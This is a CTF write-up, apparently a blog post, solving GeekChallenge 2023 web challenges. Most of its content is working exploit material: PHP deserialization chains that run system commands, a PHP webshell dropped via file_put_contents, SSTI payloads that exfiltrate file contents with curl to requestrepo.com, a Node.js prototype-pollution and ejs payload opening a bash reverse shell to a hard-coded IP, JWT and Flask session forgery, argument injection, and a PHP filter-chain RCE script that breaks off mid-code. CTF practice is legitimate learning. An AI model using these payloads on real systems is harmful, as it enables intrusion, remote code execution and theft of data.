geekchallenge2023 unsign 题目描述:
开启环境
简单php反序列化。构造链子:
1 syc::__destruct()->lover::__invoke()->web::__get()
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php class syc { public $cuit; public function __destruct() { echo("action!<br>"); $function=$this->cuit; return $function(); } } class lover { public $yxx; public $QW; public function __invoke() { echo("invoke!<br>"); return $this->yxx->QW; } } class web { public $eva1; public $interesting; public function __get($var) { echo("get!<br>"); $eva1=$this->eva1; $eva1($this->interesting); } } //syc::__destruct()->lover::__invoke()->web::__get() $a=new syc(); $a->cuit=new lover(); $a->cuit->yxx=new web(); $a->cuit->yxx->eva1='system'; $a->cuit->yxx->interesting='tac /*'; echo serialize($a); ?>
php在线运行得到
payload:
1 url=O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:6:"tac /*";}s:2:"QW";N;}}
hackbar传参得到flag
最后flag为
1 GEEK{524f4fcb-a468-443e-b2ea-58283eec7bf9}
n00b_Upload 题目描述:
1 {"type":"doc","content":[{"type":"heading","attrs":{"level":4},"content":[{"type":"text","text":""扎古,扎古❤“"}]}]}
开启环境
文件上传,先简单上传一个木马试试
限制了 conten-type ⽂件头 和⽂件内容不能带php
抓包修改文件类型
发现已经写马成功,直接蚁剑连接
找到flag
最后flag为
1 GEEK{f677f910-d4ca-4325-8561-e5fa89aa6b57}
easy_php 题目描述:
开启环境
php层层绕过,
第⼀个绕过:要求我们既要给 syc 赋值 Welcome to GEEK 2023! ,但是⼜⽤正则绕过了这串字符 这⾥我们可以⽤空格%20来绕过
1 ?syc=welcome%20to%20GEEK%202023!
第⼆个绕过: inval() 函数⽤来匹配整数,我们的参数 lover ,得⼩于2023,加⼀之后⼜要⼤于2024,科学计数法绕过
1 ?syc=welcome%20to%20GEEK%202023!&lover=1e9
第三个绕过:sha1碰撞绕过
参考:
ctf中强md5及sha1碰撞绕过(字符串string型)_ctfsha1强碰撞-CSDN博客
1 qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
第四个绕过:这个php版本中,变量名中出现 . 时,会把 . 转换为 _ ,这⾥有个特性,如果参数中出现中括号 [ ,中括号会被转 换成下划线 _ ,但是会出现转换错误导致接下来如果该参数名中还有⾮法字符(⽐如 . )就不会继续转换成下划线 _
1 2 3 4 ?syc=welcome%20to%20GEEK%202023!&lover=1e9 qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!
最后flag为
1 GEEK{246a32ca-6206-47b2-a0ed-675a07b62306}
ctf_curl 题目描述:
开启环境
使用无回显RCE中的http 信道 带出文件内容
1 ?addr=u64n8bed.requestrepo.com -T /tmp/Syclover
最后flag为
1 GEEK{5bf46309-11a8-4ee5-99f1-d27c78fcf096}
klf_ssti 题目描述:
1 De1ty的广东朋友跟女神表白被骂klf,现在气急败坏,你知道klf是什么意思嘛?他现在依旧觉得他不是klf你们才是,你能拿到flag证明他是klf嘛…
开启环境
查看源码得到目录
访问/hack
传参klf=1试试
传入什么都是返回这个,尝试传入klf={{
试试
猜测是无回显外带ssti
1 klf={{config.__class__.__init__.__globals__['os'].popen('curl+mjycyk8v.requestrepo.com/?=`ls /app/f*`').read()}}
得到flag路径
读取flag
1 klf={{config.__class__.__init__.__globals__['os'].popen('curl+mjycyk8v.requestrepo.com/?=`tac /app/fl4gfl4gfl4g`').read()}}
最后flag为
1 GEEK{6109e4a6-d339-4b06-8769-e8828fad3faa}
ez_remove 题目描述:
开启环境
十六进制
表示字符类型的s大写为S时,会被当成16进制解析
1 O:3:"syc":2:{S:5:"\6c\6f\76\65\72";s:64:"file_put_contents('./muma.php','<?php eval($_POST["aaaa"]);?>');";}
蚁剑连接
终端命令查看flag
最后flag为
1 GEEK{2d484caa-8b45-4eaf-a1b8-418899f3504b}
ez_path 题目描述:
开启环境
pyc⽂件反编译出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 #!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.6 import os import uuid from flask import Flask, render_template, request, redirect app = Flask(__name__) ARTICLES_FOLDER = 'articles/' articles = [] class Article: def __init__(self, article_id, title, content): self.article_id = article_id self.title = title self.content = content def generate_article_id(): return str(uuid.uuid4()) def index(): return render_template('index.html', articles, **('articles',)) index = app.route('/')(index) def upload(): if request.method == 'POST': title = request.form['title'] content = request.form['content'] article_id = generate_article_id() article = Article(article_id, title, content) articles.append(article) save_article(article_id, title, content) return redirect('/') return None('upload.html') upload = app.route('/upload', [ 'GET', 'POST'], **('methods',))(upload) def article(article_id): for article in articles: if article.article_id == article_id: title = article.title sanitized_title = sanitize_filename(title) article_path = os.path.join(ARTICLES_FOLDER, sanitized_title) with open(article_path, 'r') as file: content = file.read() return render_template('articles.html', sanitized_title, content, article_path, **('title', 'content', 'article_path')) return render_template('error.html') article = app.route('/article/<article_id>')(article) def save_article(article_id, title, content): sanitized_title = sanitize_filename(title) article_path = ARTICLES_FOLDER + '/' + sanitized_title with open(article_path, 'w') as file: file.write(content) def sanitize_filename(filename): sensitive_chars = [ ':', '*', '?', '"', '<', '>', '|', '.'] for char in sensitive_chars: filename = filename.replace(char, '_') return filename if __name__ == '__main__': app.run(True, **('debug',))
发现路径拼接漏洞函数 os.path.join ⻚⾯注释出了flag⽂件的⽂件名
查看源码
直接在发表⽂章title那⾥ /f14444
查看文章得到flag
最后flag为
1 GEEK{79a67c7b-59b1-4b78-a5f4-6220fa7646f6}
you konw flask? 题目描述:
开启环境
有注册和登录功能 注册后登录进去
想当教练,则通过flask session伪造教练⾝份 密钥要去找,最终是在/robots.txt下找到/3ysd8.html路由得到
访问/3ysd8.html
得到session密钥生成方式
爆破session密钥 exp:
1 2 3 4 5 6 import base64 g = open('E:\\脚本合集\\赛题脚本\\geekchallenge2023\\web\\dict.txt','wb') for i in range(100): key = b'wanbao'+base64.b64encode(str(i).encode())+b'wanbao' g.write(key) g.write(b'\n')
flask-unsign工具解密session
1 flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJxaW5nIiwidXNlcl9pZCI6Mn0.Z0kMAw.RFZhB4b5oIKZ2MpdrNlvAFuqdpE' --wordlist dict.txt
flask-unsign工具伪造session
1 flask-unsign --sign --cookie "{'is_admin': True, 'name': 'qing', 'user_id': 2}" --secret 'wanbaoOTA=wanbao'
替换新cookie,以admin身份拿到flag
在/houtai得到flag
最后flag为
1 GEEK{e3e42998-2062-43ef-91ba-c4fd4ecce950}
Pupyy_rce 题目描述:
一眼无参RCE
过滤了env|var|session|header
1 2 3 4 array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。 array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。 array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。
直接随机读文件,多发几次
1 ?var=highlight_file(array_rand(array_flip(scandir(getcwd()))));
最后flag为
1 GEEK{cf0a9177-84b4-406b-b14a-cb8828a849f3}
flag保卫战 题目描述:
1 管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了 QAQ
开启环境
查看⽹⻚源码,发现访客密码 123456,发现 api 接⼝ /flag?pass=
随意使⽤⽤户名,a,密码 123456 进⾏登录尝试
通过后台提⽰信息可知,有⼀个管理员⽤户,获取 flag 的密码是四个⽂件内容相连,推测存在越权,并且能够覆盖管理员设置的⽂ 件,也就是重置密码
随便上传一个文件试试
后缀自动改成了.key
,抓包看看
上传的数据包中,发现了 JWT 进⾏鉴权以及⼀个 yak-token 的上传字段,先尝试解析读取 JWT 信息,发现使⽤了弱密码,⽤户为 a,使⽤弱密码进⾏管理员账户的 JWT Token 伪造
jwt密钥就是password的密码123456
,虽然password的初始jwt+密码123456无法通过验证,但是我们验证admin身份还是需要?pass=四个文件内容=admin密码
+用户admin,密钥admin密码aaaa的jwt
借用大佬jay17师傅脚本
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import json import requests import threading #靶机地址 url = "http://8089-a5740240-51b4-466d-b76a-d7fb795cb7d7.challenge.ctfplus.cn/" session = requests.session() # 往下两行的filename是表单字段名,抓包获得。 file = { 'filename': ('1.txt', '1', 'text/plain') # 请求头Content-Type字段对应的值,手动抓的包里面看 } #password用户登录的jwt,自己修改成admin用户,jwt密钥还是123456不变 jwttoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMyODkwNzIwfQ.9pc8FSoM-OcXEL6GoXxqDk-QgfoT6ZY4EOVnj1kS1NE' # 写文件方法,不停的写,burp代理(proxies)可以看看请求包(极客不给抓包,其他比赛可以) def write(): while True: # 获取动态csrf密钥 r = session.get(url=url + "/new-csrf-token", cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"}) print(r.text) csrf = r.text # 上传文件 data = {'yak-token': csrf} r = session.post(url=url + "/upload", data=data, files=file, cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"}) print(r.text) # 读文件列表、自动登录验证 def read(): while True: # 读取文件 r = session.get(url=url + "/file-list", cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"}) print(r.text) #登录验证 #jwt是admin用户,jwt密钥是四个文件连起来内容1111 r=session.get(url=url + "/flag?pass=aaaa", cookies={'jwt-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMyODkwNzU5fQ.gEPqOWYwkY45zpSKG9aIeGVTjd-zU3xvGMHl7yq6hSQ'}) print() print(r.status_code) # print(r.headers) # print(r.cookies['jwt-token']) # print(r.cookies) print(r.text) # 双线程,不停写不停读和验证 threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
雨(这题真好) 题目描述:
1 VanZY给白月光写了一张明信片,快去帮他把id签上吧
开启环境
提示有/source,直接访问
查看源码,发现/hint目录
提示我们不是admin用户,应该是需要伪造admin身份
抓包看看
看到cookie,jwt解密
jwt加密,改为admin用户,密钥为VanZY(根据题目描述猜测出题人名字为密钥)
替换cookie得到/source源码
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 const express = require('express'); const jwt = require('jsonwebtoken'); const app = express(); const bodyParser = require('body-parser') const path = require('path'); const jwt_secret = "VanZY"; const cookieParser = require('cookie-parser'); const putil_merge = require("putil-merge") app.set('views', './views'); app.set('view engine', 'ejs'); app.use(cookieParser()); app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) var Super = {}; var safecode = function (code) { let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig; return !validInput.test(code); }; app.all('/code', (req, res) => { res.type('html'); if (req.method == "POST" && req.body) { putil_merge({}, req.body, {deep: true}); } res.send("welcome to code"); }); app.all('/hint', (req, res) => { res.type('html'); res.send("I heard that the challenge maker likes to use his own id as secret_key"); }); app.get('/source', (req, res) => { res.type('html'); var auth = req.cookies.auth; jwt.verify(auth, jwt_secret, function (err, decoded) { try { if (decoded.user === 'admin') { res.sendFile(path.join(__dirname + '/index.js')); } else { res.send('you are not admin '); } } catch { res.send("Fuck you Hacker!!!") } }); }); app.all('/create', (req, res) => { res.type('html'); if (!req.body.name || req.body.name === undefined || req.body.name === null) { res.send("please input name"); } else { if (Super['userrole'] === 'Superadmin') { res.render('index', req.body); } else { if (!safecode(req.body.name)) { res.send("你在做什么?快停下!!!") } else { res.render('index', {name: req.body.name}); } } } }); app.get('/', (req, res) => { res.type('html'); var token = jwt.sign({'user': 'guest'}, jwt_secret, {algorithm: 'HS256'}); res.cookie('auth ', token); res.end('Only admin can get source in /source'); }); app.listen(3000, () => console.log('Server started on port 3000'));
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 var safecode = function (code) { //过滤函数 //使用了 i(不区分大小写)和 g(全局搜索)标志 let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|Function|setInterval|setTimeout|var|\+|\*/ig; return !validInput.test(code); }; app.all('/code', (req, res) => { res.type('html'); if (req.method == "POST" && req.body) { //污染基类入口 putil_merge({}, req.body, {deep: true}); } res.send("welcome to code"); }); app.all('/create', (req, res) => { res.type('html'); if (!req.body.name || req.body.name === undefined || req.body.name === null) { res.send("please input name"); } else { if (Super['userrole'] === 'Superadmin') { //渲染,原型链污染造成命令执行,反弹shell res.render('index', req.body); } else { if (!safecode(req.body.name)) { res.send("你在做什么?快停下!!!") } else { res.render('index', {name: req.body.name}); } } } });
参考
Depy’s docs
Node.js原型链污染的利用 - FreeBuf网络安全行业门户
putil-merge这个库存在原型链污染的CVE
原型链污染在code路由
payload:
1 2 3 4 POST /code Content-Type: application/json {“constructor”:{“prototype”:{“userrole”:”Superadmin”}}}
将Super[‘userrole’]污染为Superadmin
参考
ejs RCE CVE-2022-29078 bypass | inhann’s blog
进入 /create
路由内,esj模板注入反弹shell
Payload:
1 2 3 4 5 6 7 8 {"name":"123", "settings":{ "view options":{ "escapeFunction":"console.log;this.global.process.mainModule.require(\"child_process\").execSync(\"bash -c \\\"bash -i > /dev/tcp/156.238.233.48/7777 0>&1 2>&1\\\"\");", "client":"true" } } }
找到flag
最后flag为
1 SYC{Chun_a1_M4n_NeVer_G1ve_Up}
famale_imp_l0ve 题目描述:
1 雌小鬼看了下o2takuXX师傅的马子说:呐~就..就怎么长吗,真是杂鱼呢~❤ 你能来帮帮他吗
开启环境
随便上传一个文件试试
提示只能上传zip文件,上传一个试试
查看源码,发现一个包含功能的文件/include.php
访问/include.php
参考
文件包含之——phar伪协议_phar协议-CSDN博客
phar://
协议读取
上传一个zip文件,包含木马
蚁剑连接
find提权
1 find /etc/passwd -exec cat /flag \;
最后flag为
1 SYC{ThE_RCe_is_S0_Eas1ly_DD!}
ez_php 题目描述:
开启环境
点击链接跳转源码界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 <?php header("Content-type:text/html;charset=utf-8"); error_reporting(0); show_source(__FILE__); include('key.php'); include('waf.php'); class Me { public $qwe; public $bro; public $secret; public function __wakeup() { echo("进来啦<br>"); $characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; $randomString = substr(str_shuffle($characters), 0, 6); $this->secret=$randomString; if($this->bro===$this->secret){ $bb = $this->qwe; return $bb(); } else{ echo("错了哥们,再试试吧<br>"); } } } class her{ private $hername; private $key; public $asd; public function __invoke() { echo("好累,好想睡一觉啊<br>"); serialize($this->asd); } public function find() { echo("你能找到加密用的key和她的名字吗?qwq<br>"); if (encode($this->hername,$this->key) === 'vxvx') { echo("解密成功!<br>"); $file=$_GET['file']; if (isset($file) && (file_get_contents($file,'r') === "loveyou")) { echo("快点的,急急急!!!<br>"); echo new $_POST['ctf']($_GET['fun']); } else{ echo("真的只差一步了!<br>"); } } else{ echo("兄弟怎么搞的?<br>"); } } } class important{ public $power; public function __sleep() { echo("睡饱了,接着找!<br>"); return $this->power->seeyou; } } class useless { private $seeyou; public $QW; public $YXX; public function __construct($seeyou) { $this->seeyou = $seeyou; } public function __destruct() { $characters = '0123456789'; $random = substr(str_shuffle($characters), 0, 6); if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){ if((strlen($this->QW))<80 && strlen($this->YXX)<80){ $bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee'; if($bool){ echo("快拿到我的小秘密了<br>"); $a = isset($_GET['a'])? $_GET['a']: "" ; if(!preg_match('/HTTP/i', $a)){ echo (basename($_SERVER[$a])); echo ('<br>'); if(basename($_SERVER[$a])==='key.php'){ echo("找到了!但好像不能直接使用,怎么办,我好想她<br>"); $file = "key.php"; readfile($file); } } else{ echo("你别这样,她会生气的┭┮﹏┭┮"); } } } else{ echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>"); } } } public function __get($good) { echo "you are good,你快找到我爱的那个她了<br>"; $zhui = $this->$good; $zhui[$good](); } } if (isset($_GET['user'])) { $user = $_GET['user']; if (!preg_match("/^[Oa]:[\d]+/i", $user)) { unserialize($user); } else { echo("不是吧,第一层都绕不过去???<br>"); } } else { echo("快帮我找找她!<br>"); } ?> 快帮我找找她!
参考
PHP原生类在Web安全中的利用总结
先读key.php
payoad:
1 /havefun.php/key.php?user=C:11:%22ArrayObject%22:196:{x:i:0;O:7:%22useless%22:2:{s:2:%22QW%22;s:64:%22M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2%22;s:3:%22YXX%22;s:64:%22M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2%22;};m:a:0:{}}&a=PHP_SELF
查看源码
base转图片
利用data伪协议绕过+原生类读取文件
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 get: ?user=C%3A8%3A%22SplStack%22%3A356%3A%7Bi%3A6%3B%3AO%3A2%3A%22Me%22%3A3%3A%7Bs%3A 3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BO%3A9%3A%22import ant%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%2 2%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO %3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BN%3Bs%3A12%3A%22%00her%00hername%2 2%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Di%3A1 %3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D %7Ds%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00ke y%22%3Bs%3A1%3A%229%22%3B%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A1 8%3B%7D%7D&file=data://text/plain,loveyou&fun=./ post: ctf=FilesystemIterator
读取flag
访问flag_my_baby.php得到flag
最后flag为
1 GEEK{f52a7a9c-bc89-439d-b342-f322be7b9c3f}
klf_2 题目描述:
1 可恶,我不信,我绝对不是klf,你们才是,哈哈这次我卷土重来了,你们肯定是klf,我要向女神证明自己…
开启环境
查看源码
访问/robots.txt
访问/secr3ttt
查看源码
/secr3ttt路由GET传参klf
猜测存在ssti
懒得fuzz
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 {% set pp=dict(po=a,p=a)|join%} {% set ppe=dict(po=a,pen=a)|join%} {% set gt=dict(ge=a,t=a)|join%} {% set so=dict(o=a,s=a)|join %} {% set rd=dict(re=a,ad=a)|join%} {% set xhx=(lipsum|string|list)|attr(pp)(18) %} {% set gb=(xhx,xhx,dict(glob=a,als=a)|join,xhx,xhx)|join %} {% set bin=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join %} {% set cr=dict(ch=a,r=a)|join%} {% set char=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %} {% set sp=char(32)%} {% set d=char(47)%} {% set op=(dict(ls=a)|join,sp,d,dict(ap=a,p=a)|join)|join %} {% set f=(lipsum|attr(gb))|attr(gt)(so)|attr(ppe)(op)|attr(rd)() %} {%print(f)%}
读取fl4gfl4gfl4g得到flag
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 {% set pp=dict(po=a,p=a)|join%} {% set ppe=dict(po=a,pen=a)|join%} {% set gt=dict(ge=a,t=a)|join%} {% set so=dict(o=a,s=a)|join %} {% set rd=dict(re=a,ad=a)|join%} {% set xhx=(lipsum|string|list)|attr(pp)(18) %} {% set gb=(xhx,xhx,dict(glob=a,als=a)|join,xhx,xhx)|join %} {% set bin=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join %} {% set cr=dict(ch=a,r=a)|join%} {% set char=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %} {% set sp=char(32)%} {% set d=char(47)%} {% set op=(dict(c=a,at=a)|join,sp,d,dict(ap=a,p=a)|join,d,dict(fl4gfl4gfl4g=a)|join)|join %} {% set f=(lipsum|attr(gb))|attr(gt)(so)|attr(ppe)(op)|attr(rd)() %} {%print(f)%}
最后flag为
1 GEEK{f637e118-2805-4930-93b0-47e9d779fdc3}
题目描述:
开启环境
参考
[BUUCTF 网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客
禁⽤了常规的⼀些参数,写马不行,escapeshellcmd和escapeshellarg连用-iL
、-oN
等参数用不了
尝试–excludefile读取文件
payload:
1 ' --excludefile /flag -oA syc '
然后读res.xml或res.nmap得到flag
最后flag为
1 GEEK{12fe81c5-c0cf-4a92-897c-1ef1e5b175b1}
ezrfi 题目描述:
1 亲爱的Syclover,你能找到flag吗????
开启环境
先传/var/hint,读取hint.py,得到源码
base解密
1 Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo
尊嘟假嘟解密
1 Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy
rc4解密
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requests url = "http://80-a42038f3-2119-4ff9-9665-ad26cb9cb6eb.challenge.ctfplus.cn/index.php" #可以读取到的文件 file_to_use = "/var/hint" #要执行的命令 command = "cat /ffffffllllag" #两个分号避开了最终 base64 编码中的斜杠 #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's': 